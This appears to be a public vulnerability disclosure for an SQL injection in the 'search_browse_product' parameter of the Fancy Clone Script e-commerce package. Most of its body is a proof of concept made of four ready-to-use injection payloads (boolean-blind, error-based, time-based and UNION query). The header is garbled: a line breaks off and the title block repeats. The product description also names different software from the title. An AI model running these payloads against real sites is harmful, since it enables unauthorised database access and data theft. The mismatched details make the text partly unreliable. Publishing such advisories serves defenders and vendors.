# Exploit Title: Fancy Clone Script - 'search_browse_product' SQL Injection
# Date: 2018-01-31
# Exploit Author: 8bitsec
# Vendor Homepage: https://pofitec.com/
# Software # Exploit Title: Fancy Clone Script - 'search_browse_product' SQL Injection
# Date: 2018-01-31
# Exploit Author: 8bitsec
# Vendor Homepage: https://pofitec.com/
# Software Link: https://pofitec.com/fancy-clone-script.php
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.13.3]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2018-01-31

Product & Service Introduction:
===============================
Laravel Ornate is a Multi vendor Social Ecommerce marketplace script inspired from the world famous peer to peer marketplace like Fancy and Etsy.

Technical Details & Description:
================================

SQL injection on [search_browse_product] POST parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/browse_product

Parameter: search_browse_product (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: _token=85OAJbaUmUUlBFOL1Yf0F82wp0ROTiBwgG2syHHe&search_browse_product=alloy%' AND 2261=2261 AND '%'='

Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: _token=85OAJbaUmUUlBFOL1Yf0F82wp0ROTiBwgG2syHHe&search_browse_product=alloy%' AND EXTRACTVALUE(7589,CONCAT(0x5c,0x71717a6271,(SELECT (ELT(7589=7589,1))),0x7176767171)) AND '%'='

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: _token=85OAJbaUmUUlBFOL1Yf0F82wp0ROTiBwgG2syHHe&search_browse_product=alloy%' AND SLEEP(5) AND '%'='

Type: UNION query
Title: Generic UNION query (NULL) - 26 columns
Payload: _token=85OAJbaUmUUlBFOL1Yf0F82wp0ROTiBwgG2syHHe&search_browse_product=alloy%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71717a6271,0x6d466b6977594d6d6c626c746e6f515674706e7a785545577768526a484455594e5a426a46484b70,0x7176767171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Itxn

==================
8bitsec - [https://twitter.com/_8bitsec]